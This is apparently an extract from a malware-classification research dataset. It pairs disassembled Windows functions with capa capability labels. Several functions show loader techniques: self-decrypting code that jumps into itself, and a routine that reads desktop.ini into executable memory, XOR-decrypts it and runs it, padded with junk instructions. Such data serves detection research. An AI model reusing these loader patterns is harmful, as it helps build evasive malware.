joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40ec6a
Capabilities:
Hash data using fnv

Disassembly:
mov ecx, dword [0x410400]
shl ecx, 1
add ecx, 0x12
call fcn.004010ad
mov dword [0x410404], eax
mov dword [0x410408], ecx
add eax, ecx
sub eax, dword [0x4103fc]
sub eax, dword [0x410400]
mov dword [0x41040c], eax
mov esi, dword [0x4103fc]
mov edi, dword [0x410404]
mov byte [0x4104b2], 0xa
mov eax, dword [0x41040c]
add eax, esi
sub eax, edi
cmp eax, 0x12
jae 0x40ed03
mov ecx, esi
sub ecx, dword [0x4103fc]
mov eax, dword [0x410400]
mul dword [0x410408]
div ecx
mov ecx, eax
add ecx, 0x12
mov eax, dword [0x410404]
call fcn.004010e1
sub edi, dword [0x410404]
add edi, eax
mov dword [0x410404], eax
mov dword [0x410408], ecx
add eax, ecx
sub eax, dword [0x4103fc]
sub eax, dword [0x410400]
mov dword [0x41040c], eax
movzx eax, byte [esi]
inc esi
mov ah, byte [eax + section..bss]
cmp ah, 0x20
je 0x40edc6
test ah, ah
jne 0x40ed66
stosb byte es:[edi], al
mov byte [0x4104b2], al
jmp 0x40ecab
mov dl, al
mov byte [edi], 0x22
mov byte [0x4104b2], 0x22
add edi, 5
xor ecx, ecx
mov al, byte [esi]
cmp al, 0xd
je 0x40ed55
cmp al, 0xa
je 0x40ed55
cmp al, 0x1a
je 0x40ed55
test al, al
je 0x40ed55
inc esi
cmp al, dl
jne 0x40ed4f
cmp byte [esi], al
jne 0x40ed59
inc esi
mov byte [edi + ecx], al
inc ecx
jmp 0x40ed33
mov byte [edi - 5], 0x27
mov al, byte [edi - 5]
mov dword [edi - 4], ecx
add edi, ecx
jmp 0x40ecab
cmp al, 0x22
je 0x40ed22
cmp al, 0x27
je 0x40ed22
mov byte [edi], 0x1a
mov byte [0x4104b2], 0x1a
add edi, 5
xor ebx, ebx
mov ecx, 0x811c9dc5
mov edx, ecx
mov byte [edi + ebx], al
inc ebx
xor cl, al
xor dl, ah
imul ecx, ecx, 0x1000193
imul edx, edx, 0x1000193
movzx eax, byte [esi]
inc esi
mov ah, byte [eax + section..bss]
cmp ah, 0x20
je 0x40edab
test ah, ah
jne 0x40ed84
mov dword [edi - 4], ebx
add edi, ebx
mov dword [edi], ecx
mov dword [edi + 4], edx
xor ecx, ecx
mov dword [edi + 8], ecx
add edi, 0xc
cmp ah, 0x20
jne 0x40ed1a
cmp al, 0x20
je 0x40ee26
cmp al, 9
je 0x40ee26
cmp byte [0x4104b2], 0x20
je 0x40edd8
inc edi
mov byte [edi - 1], 0xa
mov byte [0x4104b2], 0xa
cmp al, 0xd
je 0x40ee08
cmp al, 0xa
je 0x40ee17
xor al, al
stosb byte es:[edi], al
mov ecx, edi
mov eax, dword [0x410404]
sub ecx, eax
call fcn.004010e1
mov dword [0x410404], eax
mov dword [0x410408], ecx
ret
cmp byte [esi], 0xa
jne 0x40ecab
inc esi
jmp 0x40ecab
cmp byte [esi], 0xd
jne 0x40ecab
inc esi
jmp 0x40ecab
cmp byte [0x4104b2], 0xa
je 0x40ecab
cmp byte [0x4104b2], 0x20
je 0x40ecab
mov al, 0x20
stosb byte es:[edi], al
mov byte [0x4104b2], al
jmp 0x40ecab

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x10001ff0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub dword [ebp + 0xc], 1
jne 0x10002023
push 0
push 0
push 0
push 0x10001f80
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x100011c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
pop ebp
ret 0xc
Function at 0x1000cd10
Capabilities:
Encode data using xor
Hash data using djb2

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
je 0x1000cdbf
push esi
call fcn.100212a0
add esp, 4
test al, al
jne 0x1000cdbf
push ebx
push edi
mov edi, esi
xor ebx, ebx
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x1000cd37
sub edi, ecx
push edi
push 0x2e
push esi
call fcn.1002ace0
add esp, 0xc
test eax, eax
je 0x1000cd6b
sub eax, esi
push eax
push 0x2e
push esi
call fcn.1002ace0
mov ebx, eax
add esp, 0xc
test ebx, ebx
je 0x1000cd6d
inc ebx
mov ecx, esi
sub ecx, ebx
add edi, ecx
test ebx, ebx
cmovne esi, ebx
lea ebx, [esi + edi]
mov edi, 0x1505
cmp esi, ebx
jae 0x1000cd9e
nop dword [eax]
mov al, byte [esi]
push eax
call fcn.1001e580
movsx ecx, al
inc esi
mov eax, edi
add esp, 4
shl eax, 5
add eax, edi
xor ecx, eax
mov edi, ecx
cmp esi, ebx
jb 0x1000cd80
mov eax, 0x4104105
mov esi, edi
mul edi
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 5
mov ecx, esi
shl ecx, 6
sub ecx, esi
sub edi, ecx
mov eax, edi
pop edi
pop ebx
pop esi
ret
xor eax, eax
pop esi
ret
Function at 0x10018800
Capabilities:
Write file on windows

Disassembly:
push edi
mov edi, dword [esp + 8]
cmp byte [edi + 0x6c3], 0
je 0x1001889f
cmp dword [edi + 0x19c], 0
je 0x10018857
push edi
call fcn.10007c50
push 1
push edi
mov byte [esp + 0x14], al
call fcn.10007ee0
push dword [edi + 0x14c]
mov eax, dword [edi + 0x19c]
push dword [esp + 0x24]
push dword [esp + 0x24]
push dword [esp + 0x24]
push edi
call eax
push dword [esp + 0x28]
push edi
call fcn.10007ee0
add esp, 0x28
pop edi
ret
mov ecx, dword [esp + 0xc]
mov eax, ecx
sub eax, 0
je 0x1001886c
sub eax, 1
je 0x1001886c
sub eax, 1
jne 0x1001889f
push dword [edi + 0x148]
lea eax, [ecx*2 + 0x1005ea44]
push 1
add eax, ecx
push 2
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
push dword [edi + 0x148]
push 1
push dword [esp + 0x2c]
push dword [esp + 0x2c]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x20
pop edi
ret

Function at 0x1001b010
Capabilities:
Get common file path

Disassembly:
push ecx
push ebx
push edi
push str.kernel32
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, eax
test ebx, ebx
jne 0x1001b02a
pop edi
pop ebx
pop ecx
ret
push ebp
push esi
push str.LoadLibraryExA
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [esp + 0x18]
mov ebp, eax
push 0x1005eecc
push esi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strpbrk]
add esp, 8
test eax, eax
je 0x1001b073
test ebp, ebp
je 0x1001b064
push 8
push 0
push esi
call ebp
pop esi
pop ebp
mov edi, eax
pop edi
pop ebx
pop ecx
ret
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop esi
pop ebp
mov edi, eax
pop edi
pop ebx
pop ecx
ret
test ebp, ebp
je 0x1001b099
push str.AddDllDirectory
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1001b099
push 0x800
push 0
push esi
call ebp
pop esi
pop ebp
mov edi, eax
pop edi
pop ebx
pop ecx
ret
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edx, eax
mov dword [esp + 0x10], edx
test edx, edx
je 0x1001b14f
mov ecx, esi
lea ebx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001b0b6
sub ecx, ebx
lea eax, [ecx + 1]
add eax, edx
push eax
call dword [section..data]
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x1001b145
push dword [esp + 0x10]
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x1001b145
mov ecx, ebx
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001b0e8
sub ecx, edx
mov eax, 0x5c
mov word [ecx + ebx], ax
mov ecx, ebx
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001b100
sub ecx, edx
sub ecx, esi
add ecx, ebx
nop dword [eax]
mov al, byte [esi]
lea esi, [esi + 1]
mov byte [ecx + esi - 1], al
test al, al
jne 0x1001b110
test ebp, ebp
je 0x1001b13c
push 8
push 0
push ebx
call ebp
push ebx
mov edi, eax
call dword [0x1006c004]
add esp, 4
mov eax, edi
pop esi
pop ebp
pop edi
pop ebx
pop ecx
ret
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
push ebx
call dword [0x1006c004]
add esp, 4
pop esi
pop ebp
mov eax, edi
pop edi
pop ebx
pop ecx
ret
Function at 0x10021450
Capabilities:
Create udp socket

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
je 0x1002148e
mov eax, dword [esi + 0x7c]
cmp byte [eax + 0x104], 0
jne 0x1002147f
push 0
call fcn.10021450
add esp, 4
test al, al
mov eax, dword [esi + 0x7c]
setne cl
inc cl
mov byte [eax + 0x104], cl
mov eax, dword [esi + 0x7c]
pop esi
cmp byte [eax + 0x104], 2
sete al
ret
push 0
push 2
push 0x17
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
jne 0x100214a3
xor al, al
pop esi
ret
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov al, 1
pop esi
ret
Function at 0x10022200
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x6c
mov eax, dword [0x1006c3ac]
xor eax, esp
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0x70]
push ebp
mov ebp, dword [esp + 0x78]
push edi
xor edi, edi
mov dword [esp + 8], eax
cmp byte [eax + 0x6c3], 0
je 0x100223e2
cmp byte [ebp + 0x18], 0
push ebx
lea ebx, [ebp + 0x18]
je 0x100223e1
lea eax, [esp + 0x30]
push eax
push ebx
push 2
call fcn.1002f500
add esp, 0xc
test eax, eax
jg 0x100223e1
lea eax, [esp + 0x34]
push eax
push ebx
push 0x17
call fcn.1002f500
add esp, 0xc
test eax, eax
jg 0x100223e1
cmp byte [ebx], 0
mov eax, str._none_
push esi
push dword [ebp + 0x14]
mov esi, dword [ebp]
cmovne eax, ebx
mov ebp, dword [esp + 0x14]
push eax
push str.Host__s:_d_was_resolved.
push ebp
call fcn.10018980
lea eax, [esp + 0x24]
push 0x400
push eax
call fcn.1000d350
lea eax, [esp + 0x3c]
push 0x400
push eax
call fcn.1000d350
add esp, 0x20
test esi, esi
je 0x10022354
lea edx, [edi + 0x10]
mov ecx, dword [esi + 4]
cmp ecx, 0x17
je 0x100222c8
cmp ecx, 2
jne 0x10022349
xor eax, eax
mov byte [esp + 0x48], 0
cmp ecx, 2
lea ebx, [esp + 0x14]
cmovne eax, edx
add ebx, eax
sub ecx, 2
je 0x100222f7
sub ecx, 0x15
jne 0x1002230f
push 0x2e
lea eax, [esp + 0x4c]
push eax
mov eax, dword [esi + 0x18]
add eax, 8
push eax
push 0x17
jmp 0x10022307
push 0x2e
lea eax, [esp + 0x4c]
push eax
mov eax, dword [esi + 0x18]
add eax, 4
push eax
push 2
call fcn.1004ad60
add esp, 0x10
push ebx
call fcn.1000d370
add esp, 4
test eax, eax
je 0x1002232e
push 2
push 0x1005ea64
push ebx
call fcn.1000d310
add esp, 0xc
mov edi, eax
test edi, edi
jne 0x10022374
lea eax, [esp + 0x48]
push eax
push ebx
call fcn.1000d2b0
mov edi, eax
add esp, 8
test edi, edi
jne 0x10022374
lea edx, [eax + 0x10]
mov esi, dword [esi + 0x1c]
test esi, esi
jne 0x100222b7
lea eax, [esp + 0x24]
push eax
call fcn.1000d370
add esp, 4
test eax, eax
je 0x10022384
lea eax, [esp + 0x24]
push eax
call fcn.1000d380
add esp, 4
jmp 0x10022389
push str.too_many_IP__cant_show
push ebp
call fcn.10018980
add esp, 8
jmp 0x100223c9
mov eax, str._none_
push eax
push str.IPv6:__s
push ebp
call fcn.10018980
lea eax, [esp + 0x20]
push eax
call fcn.1000d370
add esp, 0x10
test eax, eax
je 0x100223b5
lea eax, [esp + 0x14]
push eax
call fcn.1000d380
add esp, 4
jmp 0x100223ba
mov eax, str._none_
push eax
push str.IPv4:__s
push ebp
call fcn.10018980
add esp, 0xc
lea eax, [esp + 0x14]
push eax
call fcn.1000d320
lea eax, [esp + 0x28]
push eax
call fcn.1000d320
add esp, 8
pop esi
pop ebx
mov ecx, dword [esp + 0x70]
pop edi
pop ebp
xor ecx, esp
call fcn.10058fa8
add esp, 0x6c
ret
Function at 0x10027970
Capabilities:
Check http status code

Disassembly:
mov ecx, dword [esp + 4]
cmp byte [ecx + 0x6ba], 0
mov edx, dword [ecx + 0xd8]
je 0x100279d9
cmp edx, 0x190
jl 0x100279d9
mov eax, dword [ecx + 0xc58]
or eax, dword [ecx + 0xc5c]
je 0x100279aa
cmp byte [ecx + 0xd72], 0
jne 0x100279aa
cmp edx, 0x1a0
je 0x100279d9
cmp edx, 0x191
je 0x100279c9
cmp edx, 0x197
jne 0x100279c6
mov eax, dword [ecx + 0x18]
cmp byte [eax + 0x1aa], 0
jne 0x100279d2
mov al, 1
ret
cmp dword [ecx + 0xd60], 0
je 0x100279c6
mov al, byte [ecx + 0xd79]
ret
xor al, al
ret
Function at 0x1002b440
Capabilities:
Move file

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
lea eax, [esp + 0xc]
push edi
push eax
call fcn.1000d070
push dword [esp + 0x38]
mov esi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__strdup]
movups xmm0, xmmword [eax]
movups xmmword [esp + 0x18], xmm0
call esi
push dword [esp + 0x40]
mov edi, eax
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_MoveFileExA]
add esp, 0xc
mov esi, eax
push 1
push esi
push edi
call ebp
test eax, eax
jne 0x1002b4d5
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
nop dword [eax + eax]
lea eax, [esp + 0x20]
push eax
call fcn.1000d070
movups xmm0, xmmword [esp + 0x14]
sub esp, 0xc
mov ecx, esp
sub esp, 0x10
movups xmmword [ecx], xmm0
mov ecx, esp
movups xmm0, xmmword [eax]
movups xmmword [ecx], xmm0
call fcn.1000d120
add esp, 0x20
test edx, edx
ja 0x1002b4f9
jb 0x1002b4c7
cmp eax, 0x3e8
ja 0x1002b4f9
push 1
call ebx
push 1
push esi
push edi
call ebp
test eax, eax
je 0x1002b490
mov ebx, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
test edi, edi
je 0x1002b4e5
push edi
call ebx
add esp, 4
test esi, esi
je 0x1002b4ef
push esi
call ebx
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret
mov ebx, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
test edi, edi
je 0x1002b509
push edi
call ebx
add esp, 4
test esi, esi
je 0x1002b513
push esi
call ebx
add esp, 4
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x20
ret
Function at 0x1002ba00
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x20]
push edi
xor edi, edi
mov dword [esp + 0xc], edi
mov dword [eax], edi
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x24]
push dword [esp + 0x24]
push dword [esp + 0x24]
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov dword [esp + 4], eax
test eax, eax
jne 0x1002bb8f
push esi
mov esi, dword [esp + 0x14]
test esi, esi
je 0x1002bb7a
push ebx
push ebp
mov eax, dword [esi + 0x14]
test eax, eax
je 0x1002ba5c
lea edx, [eax + 1]
nop dword [eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1002ba50
sub eax, edx
inc eax
jmp 0x1002ba5e
xor eax, eax
mov ecx, dword [esi + 4]
mov dword [esp + 0x14], eax
cmp ecx, 2
jne 0x1002ba6f
lea ebp, [ecx + 0xe]
jmp 0x1002ba7b
cmp ecx, 0x17
jne 0x1002bb1c
lea ebp, [ecx + 5]
cmp dword [esi + 0x18], 0
je 0x1002bb1c
mov ecx, dword [esi + 0x10]
test ecx, ecx
je 0x1002bb1c
cmp ecx, ebp
jb 0x1002bb1c
add eax, 0x20
add eax, ebp
push eax
call dword [section..data]
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x1002bb6b
mov ecx, dword [esi]
mov dword [ebx], ecx
mov ecx, dword [esi + 4]
mov dword [ebx + 4], ecx
mov ecx, dword [esi + 8]
mov dword [ebx + 8], ecx
mov eax, dword [esi + 0xc]
mov dword [ebx + 0xc], eax
lea eax, [ebx + 0x20]
push ebp
mov dword [ebx + 0x10], ebp
mov dword [ebx + 0x14], 0
mov dword [ebx + 0x1c], 0
mov dword [ebx + 0x18], eax
push dword [esi + 0x18]
push eax
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [esp + 0x20]
add esp, 0xc
test ecx, ecx
je 0x1002bb08
mov eax, dword [ebx + 0x18]
add eax, ebp
push ecx
mov dword [ebx + 0x14], eax
push dword [esi + 0x14]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov eax, dword [esp + 0x18]
test edi, edi
cmove edi, ebx
test eax, eax
je 0x1002bb18
mov dword [eax + 0x1c], ebx
mov dword [esp + 0x18], ebx
mov esi, dword [esi + 0x1c]
test esi, esi
jne 0x1002ba42
mov esi, dword [esp + 0x10]
mov eax, dword [esp + 0x1c]
pop ebp
pop ebx
test eax, eax
je 0x1002bb3c
push eax
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
test esi, esi
je 0x1002bb76
test edi, edi
je 0x1002bb5b
mov esi, dword [edi + 0x1c]
push edi
call dword [0x1006c004]
add esp, 4
mov edi, esi
test esi, esi
jne 0x1002bb44
mov esi, dword [esp + 8]
mov eax, dword [esp + 0x28]
xor edi, edi
mov dword [eax], edi
mov eax, esi
pop esi
pop edi
add esp, 0x10
ret
mov esi, 8
mov dword [esp + 0x10], esi
jmp 0x1002bb2b
test edi, edi
jne 0x1002bb86
mov esi, 0x2af9
push esi
call dword [sym.imp.WS2_32.dll_WSASetLastError]
mov eax, dword [esp + 0x28]
mov dword [eax], edi
mov eax, esi
pop esi
pop edi
add esp, 0x10
ret

Function at 0x1002bf90
Capabilities:
Create thread

Disassembly:
push 0
push 0
push dword [esp + 0x10]
push dword [esp + 0x10]
push 0
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov ecx, eax
add esp, 0x18
xor eax, eax
test ecx, ecx
je 0x1002bfb7
cmp ecx, 0xffffffff
cmovne eax, ecx
ret
Function at 0x1002c000
Capabilities:
Generate random numbers via winapi

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x1c]
mov ecx, 0x2b
test edi, edi
je 0x1002c0b0
mov ebp, dword [esp + 0x14]
mov esi, dword [esp + 0x18]
nop dword [eax]
mov ebx, 4
lea eax, [esp + 0x1c]
push 4
push eax
cmp edi, ebx
push ebp
cmovb ebx, edi
call fcn.10012c00
add esp, 0xc
cmp eax, 4
je 0x1002c043
mov ecx, eax
jmp 0x1002c06d
cmp byte [0x1006c61c], 0
jne 0x1002c077
push 2
push 4
lea eax, [esp + 0x24]
mov dword [esp + 0x24], 0
push eax
push 0
call sub.bcrypt.dll_BCryptGenRandom
neg eax
sbb ecx, ecx
and ecx, 2
mov eax, ecx
test eax, eax
jne 0x1002c0b2
mov eax, dword [esp + 0x1c]
jmp 0x1002c094
imul eax, dword [0x1006c618], 0x41c64e6d
add eax, 0x3039
mov dword [0x1006c618], eax
ror eax, 0x10
xor ecx, ecx
mov dword [esp + 0x1c], eax
test ebx, ebx
je 0x1002c0a8
mov byte [esi], al
dec edi
inc esi
shr eax, 8
sub ebx, 1
jne 0x1002c098
mov dword [esp + 0x1c], eax
test edi, edi
jne 0x1002c020
mov eax, ecx
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x1002c0c0
Capabilities:
Generate random numbers via winapi

Disassembly:
push ebx
mov ebx, dword [esp + 0x10]
push ebp
push esi
push edi
mov edi, dword [esp + 0x18]
sub ebx, 1
je 0x1002c13b
mov esi, dword [esp + 0x14]
mov ebp, 0x3e
nop word [eax + eax]
push 4
lea eax, [esp + 0x20]
push eax
push esi
call fcn.10012c00
add esp, 0xc
cmp eax, 4
jne 0x1002c11c
cmp byte [0x1006c61c], 0
jne 0x1002c145
push 2
push eax
lea eax, [esp + 0x24]
mov dword [esp + 0x24], 0
push eax
push 0
call sub.bcrypt.dll_BCryptGenRandom
neg eax
sbb eax, eax
and eax, 2
test eax, eax
jne 0x1002c140
mov eax, dword [esp + 0x1c]
cmp eax, 0xfffffffc
jae 0x1002c0e0
xor edx, edx
div ebp
mov al, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789]
mov byte [edi], al
inc edi
sub ebx, 1
jne 0x1002c0e0
mov byte [edi], 0
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
imul eax, dword [0x1006c618], 0x41c64e6d
add eax, 0x3039
mov dword [0x1006c618], eax
ror eax, 0x10
mov dword [esp + 0x1c], eax
jmp 0x1002c124

Function at 0x1002c170
Capabilities:
Generate random numbers via winapi

Disassembly:
push dword [esp + 8]
push 0
push dword [esp + 0xc]
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 2
push dword [esp + 0xc]
push dword [esp + 0xc]
push 0
call sub.bcrypt.dll_BCryptGenRandom
neg eax
sbb eax, eax
and eax, 2
ret
Function at 0x1002f0d0
Capabilities:
Query environment variable

Disassembly:
push ebx
push ebp
xor ebp, ebp
push esi
push edi
lea esi, [ebp + 1]
push esi
push ebp
call dword [0x1006c008]
mov edi, eax
add esp, 8
test edi, edi
je 0x1002f127
nop word [eax + eax]
push esi
push edi
push dword [esp + 0x1c]
mov ebp, edi
mov ebx, esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov esi, eax
test esi, esi
je 0x1002f13f
cmp esi, ebx
je 0x1002f13f
cmp esi, 0x8000
ja 0x1002f13f
cmp esi, ebx
jb 0x1002f138
push esi
push edi
call dword [0x1006c008]
mov edi, eax
add esp, 8
test edi, edi
jne 0x1002f0f0
push ebp
call dword [0x1006c004]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
push edi
call dword [0x1006c004]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x10034ef0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x8c
mov eax, dword [0x1006c3ac]
xor eax, esp
mov dword [esp + 0x88], eax
push ebx
push esi
push edi
mov edi, dword [esp + 0x9c]
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x18]
push eax
mov ebx, dword [edi + 0x18]
mov esi, dword [ebx + 0x10c]
push esi
mov dword [esp + 0x18], 0xffffffff
mov dword [esp + 0x1c], 0x80
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x10034f5b
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x80
push eax
lea eax, [esp + 0x18]
push eax
push esi
call dword [sym.imp.WS2_32.dll_accept]
mov dword [esp + 0xc], eax
jmp 0x10034f5f
mov eax, dword [esp + 0xc]
cmp eax, 0xffffffff
jne 0x10034f8f
push str.Error_accept__ing_server_connect
push edi
call fcn.100188b0
add esp, 8
mov eax, 0x1e
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x88]
xor ecx, esp
call fcn.10058fa8
add esp, 0x8c
ret
push str.Connection_accepted_from_server
push edi
call fcn.10018980
mov byte [ebx + 0x1b5], 0
push 1
push dword [esp + 0x18]
call fcn.10050d00
lea eax, [esp + 0x1c]
push eax
push 1
push ebx
push edi
call fcn.10046440
add esp, 0x20
test eax, eax
jne 0x10035029
cmp dword [edi + 0x1a4], eax
je 0x10035027
push 1
push edi
call fcn.10007ee0
mov eax, dword [edi + 0x1a4]
push 1
push dword [esp + 0x18]
push dword [edi + 0x1a8]
call eax
push 0
push edi
mov esi, eax
call fcn.10007ee0
add esp, 0x1c
test esi, esi
je 0x10035027
push 1
push edi
call fcn.10017ec0
push 1
push ebx
push edi
call fcn.10017cc0
add esp, 0x14
mov eax, 0x2a
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x88]
xor ecx, esp
call fcn.10058fa8
add esp, 0x8c
ret
xor eax, eax
mov ecx, dword [esp + 0x94]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10058fa8
add esp, 0x8c
ret